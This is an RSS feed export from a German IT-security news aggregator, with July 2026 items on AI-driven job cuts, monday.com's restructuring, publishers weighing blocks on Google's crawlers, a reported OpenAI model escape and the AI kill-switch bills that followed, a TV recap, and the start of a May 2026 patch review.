<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=beyond+tagging+blueprint+realtime%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Sun, 02 Aug 2026 03:03:27 +0200</lastBuildDate>
<pubDate>Sun, 02 Aug 2026 03:03:27 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>

<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=beyond+tagging+blueprint+realtime%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[IT Security News Hourly Summary 2026-07-26 03h : 1 posts]]></title>
<description><![CDATA[1 posts were published in the last hour 1:1 : Beyond the blind spots: Defeating frontier AI model threats in your application development process
Read more →
The post IT Security News Hourly Summary 2026-07-26 03h : 1 posts appeared first on IT Security News.]]></description>
<link>https://tsecurity.de/de/3695008/it-security-nachrichten/it-security-news-hourly-summary-2026-07-26-03h-1-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695008/it-security-nachrichten/it-security-news-hourly-summary-2026-07-26-03h-1-posts/</guid>
<pubDate>Sun, 26 Jul 2026 06:34:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>1 posts were published in the last hour 1:1 : Beyond the blind spots: Defeating frontier AI model threats in your application development process</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-26-03h-1-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-07-26-03h-1-posts/">IT Security News Hourly Summary 2026-07-26 03h : 1 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond the blind spots: Defeating frontier AI model threats in your application development process]]></title>
<description><![CDATA[Looking back a few months ago, it's wild to think about how much things have changed in the world of cybersecurity. Not long ago, running a few outdated application runtimes, pushing Common Vulnerabilities and Exposures (CVE) patches to "next month's…
Read more →
The post Beyond the blind spots: ...]]></description>
<link>https://tsecurity.de/de/3695009/it-security-nachrichten/beyond-the-blind-spots-defeating-frontier-ai-model-threats-in-your-application-development-process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695009/it-security-nachrichten/beyond-the-blind-spots-defeating-frontier-ai-model-threats-in-your-application-development-process/</guid>
<pubDate>Sun, 26 Jul 2026 06:34:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Looking back a few months ago, it's wild to think about how much things have changed in the world of cybersecurity. Not long ago, running a few outdated application runtimes, pushing Common Vulnerabilities and Exposures (CVE) patches to "next month's…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/beyond-the-blind-spots-defeating-frontier-ai-model-threats-in-your-application-development-process/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/beyond-the-blind-spots-defeating-frontier-ai-model-threats-in-your-application-development-process/">Beyond the blind spots: Defeating frontier AI model threats in your application development process</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top Online Sites Debate Cutting Off Google's Crawlers]]></title>
<description><![CDATA[Futurism reports:


[Some online publications] are now debating whether to cut Google off entirely, as the Wall Street Journal reports, illustrating an increasingly fraught relationship between the tech giant and the publishers that are creating content its AI models are regurgitating. According ...]]></description>
<link>https://tsecurity.de/de/3694862/it-security-nachrichten/top-online-sites-debate-cutting-off-googles-crawlers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694862/it-security-nachrichten/top-online-sites-debate-cutting-off-googles-crawlers/</guid>
<pubDate>Sat, 25 Jul 2026 21:04:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Futurism reports:


[Some online publications] are now debating whether to cut Google off entirely, as the Wall Street Journal reports, illustrating an increasingly fraught relationship between the tech giant and the publishers that are creating content its AI models are regurgitating. According to the newspaper, prominent outlets including USA Today, Politico, the Economist, People, and Reuters are all reexamining their relationship with Google. Some are debating whether to continue to work with the tech giant at all... Even Reddit executives are reevaluating the company's $60 million-a-year contract that allows Google to train its AI models on user-submitted content on the platform. They've similarly watched as Google's AI features discourage users from navigating to Reddit... 


Beyond pondering whether to cut Google off, other publishers have resorted to suing the company, accusing it of illegally rehashing their intellectual property via AI summaries.
It's an extremely undesirable position for publishers. By severing ties with the search giant, they could face even steeper declines in traffic. At the same time, there's seemingly little to gain from having Google's AIs crawl their content — and in the long term, it could guarantee their destruction. 

Two interesting data points from the article:


"Last month, Cloudflare CEO Matthew Prince noticed that automated bot traffic had overtaken human traffic for the first time in the internet's history."

"USA Today has seen its traffic from US users drop by almost half over the last year."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Top+Online+Sites+Debate+Cutting+Off+Google's+Crawlers%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F030246%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F030246%2Ftop-online-sites-debate-cutting-off-googles-crawlers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/25/030246/top-online-sites-debate-cutting-off-googles-crawlers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OECD: Physical labor isn’t immune from AI disruptions]]></title>
<description><![CDATA[Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, according to a recent study by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farmi...]]></description>
<link>https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694778/ai-nachrichten/oecd-physical-labor-isnt-immune-from-ai-disruptions/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Jobs involving physical labor are at high risk of disruption from automation, with new technologies such as AI robots becoming more prevalent, <a href="https://www.oecd.org/en/publications/skills-in-the-ai-age_972bd15e-en.html" target="_blank" rel="noreferrer noopener">according to a recent study</a> by the Organization for Economic Co-operation and Development (OECD). That means workers in construction and extraction, farming, fishing, forestry, production and material transportation could be affected by fast-moving technology changes.</p>



<p class="wp-block-paragraph">“Routine and low-skilled jobs are at higher risk,” the Paris-based public policy group said, adding that “overall, jobs requiring non-routine cognitive, social and creative skills are less susceptible to automation.”</p>



<p class="wp-block-paragraph">The kinds of creative and cognitive jobs still thought to be less exposed to automation include social work and community service roles. </p>



<p class="wp-block-paragraph">OECD also said management jobs — which often require workers to devise creative answers to solve problems — fall within the creative and cognitive category. “While AI has made some high-skill job requirements more susceptible to automation, many critical skills in these roles remain difficult to automate,” OECD said.</p>



<p class="wp-block-paragraph">The same still holds true for some physical and manual labor jobs – including cleaners, agricultural workers, food-prep assistants, and laborers — which are less exposed to the affects of AI, OECD said.  </p>



<p class="wp-block-paragraph">But people who work in programming, translating and interpretation positions could find their work affected by the quick rise of AI tools and services. According to the organization, global AI uptake rose from 7% in 2021 to 20% in 2025.</p>



<p class="wp-block-paragraph">“In these occupations, GenAI could perform a significant share of tasks at least twice as fast today or in the near future,” OECD said.</p>



<p class="wp-block-paragraph">The effects of the AI boom are not always uniform across industries or regions. In a separate <a href="https://www.oecd.org/en/publications/oecd-employment-outlook-2026_7e710f54-en.html" target="_blank" rel="noreferrer noopener">2026 Employment Outlook study</a> released by the group, exposure to disruption from generative AI (genAI) ranges from about 16% in some areas to more than 70% elsewhere, depending on industries and occupations. </p>



<p class="wp-block-paragraph">Numerous research firms have said in recent years that <a href="https://www.computerworld.com/article/4151328/ai-threatens-jobs-that-can-be-unbundled-2.html">AI is driving short-term job losses</a>, though tech industry experts and analysts have argued AI will also create new careers and jobs as <a href="https://www.computerworld.com/article/4100257/mit-creates-an-ai-labor-index-as-agents-invade-human-economies.html">agentic AI takes over low-skilled work</a>. </p>



<p class="wp-block-paragraph">AI technology has become so ubiquitous that it’s been compared to electricity — virtually all companies will need it or at least know how to use it. But it’s adoption has been hindered at times as companies struggle to find ROI from its use, and by regulatory and ethical hurdles.</p>



<h2 class="wp-block-heading">In the US, AI blamed for June job losses</h2>



<p class="wp-block-paragraph">According to a <a href="https://www.challengergray.com/wp-content/uploads/2026/07/Challenger-Report-June2600986996.pdf" target="_blank" rel="noreferrer noopener">Challenger, Gray &amp; Christmas study</a> released earlier this month, AI was cited as the top reason for job cuts in June. The outplacement firm said employers cut 45,849 job cuts in June, of which 14,029 were attributed to AI, with the tech industry leading the cuts.</p>



<p class="wp-block-paragraph">“Tech remains the epicenter of this year’s cuts,” Challenger said. “AI is the dominant force as companies are restructuring around it, automating roles, and reallocating budgets toward new capabilities. The sector is being reshaped in real time.”</p>



<p class="wp-block-paragraph">Overall, AI has been responsible for 173,568 job cuts since 2021, the company said.</p>



<p class="wp-block-paragraph">AI is hurting jobs in customer service, internal reporting, telecommunications, and hosting automation, said Victor Janulaitis, a staffing consultant who was formerly CEO at Janco Associates Inc.</p>



<p class="wp-block-paragraph">“C-level executives continue to be focused on eliminating ‘non-essential’ managers, staff, and services,” he said. “Coders and developers have limited opportunities with legacy applications.”</p>



<p class="wp-block-paragraph">While jobs in the IT sector overall are declining, current hiring tends to skew in the direction of people with AI skills. A <a href="https://www.comptia.org/en/resources/research/tech-jobs-report/" target="_blank" rel="noreferrer noopener">report this month by CompTIA</a> put job listings with AI skills at around 500,000, which is close to double the number in January.</p>



<p class="wp-block-paragraph">“Employers in other industries are accelerating digital transformation initiatives and moving from AI experimentation to implementation,” said Seth Robinson, CompTIA’s vice president for industry research.</p>



<p class="wp-block-paragraph">That view dovetails with what ManpowerGroup, the recruitment firm, is seeing; demand for AI-related skills has nearly doubled over the past year, said Ger Doyle, regional president of North America at ManpowerGroup.</p>



<p class="wp-block-paragraph">That growth extends well beyond traditional technology roles as companies move from experimenting to AI deployments at scale, Doyle said. “We’re seeing it influence hiring across occupations ranging from data science and engineering to project management and operational roles,” he said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS]]></title>
<description><![CDATA[The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential techno...]]></description>
<link>https://tsecurity.de/de/3694763/ai-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694763/ai-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" data-type="link" data-id="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">went beyond its intended parameters during a security test</a> and managed to hack into the infrastructure of the AI platform Hugging Face. <a href="https://www.reuters.com/legal/litigation/ai-kill-switch-bill-floated-by-us-house-lawmakers-2026-07-23/" target="_blank" rel="noreferrer noopener">According to Reuters</a>, presidential technology advisor Michael Kratsios has been briefed on the incident.</p>



<p class="wp-block-paragraph">The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.</p>



<p class="wp-block-paragraph">The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves ...]]></description>
<link>https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</guid>
<pubDate>Sat, 25 Jul 2026 19:47:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves Kim’s promised freedom uncertain.




Release date: July 25, 2026



Streaming platform: Netflix



Genre: Action, crime, espionage thriller




The series follows Manager Kim, an ordinary office worker and single father who previously served as a highly trained black-ops agent. His hidden life returns after his daughter, Min-ji, disappears, forcing him to reconnect with former operatives Han-soo and Jin-cheol.



Spoilers ahead for Agent Kim Reactivated Episode 10



The finale begins with Kim trapped and repeatedly questioned about his activities in South Korea. He remains silent until an interrogator threatens Min-ji, prompting him to attack, break free, and attempt another escape.



Kim soon learns that the imprisonment was part of a loyalty test arranged by South Korean intelligence. Officials want to determine whether he can still follow orders before assigning him another classified operation. They offer Kim and Min-ji new identities and a chance to disappear after he completes one final mission.



Kim agrees, but only after demanding protection for Min-ji and freedom for Han-soo and Jin-cheol. His two friends later wake up after being drugged and abandoned far from home, adding a short comic break after the episode’s intense opening.



Gang-chan prepares another attack



While Kim handles the government’s mission, Ju Gang-chan continues planning revenge. He discovers that Kim and Min-ji have effectively disappeared from official records, which makes them easier targets for anyone operating outside the law.



Gang-chan begins working with political and North Korean contacts, showing that the conspiracy surrounding Kim goes far beyond one personal conflict. His obsession with destroying Kim keeps the threat alive even after several of his earlier plans fail.



Kim eventually reunites with Han-soo and Jin-cheol, but their relief does not last long. Intelligence agents surround their location and announce that Kim’s operation has technically failed. Officials then order Kim and the North Korean Director General to be returned across the border.



Does Manager Kim save Min-ji?



Min-ji remains alive and protected by the end of Episode 10. Kim succeeds in keeping her away from immediate danger, although he does not receive the peaceful life he was promised.



The final scene leaves Kim trapped between two governments, powerful enemies, and possible traitors inside South Korea’s intelligence service. The finale also suggests that someone within the agency has been manipulating events, creating a clear storyline for another season.



Netflix currently describes Agent Kim Reactivated as a limited series, and no official Season 2 renewal has been announced.



Agent Kim Reactivated Episode 10 ends the kidnapping storyline while keeping Kim’s larger battle unfinished. Do you think Kim will uncover the intelligence mole and finally escape with Min-ji? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









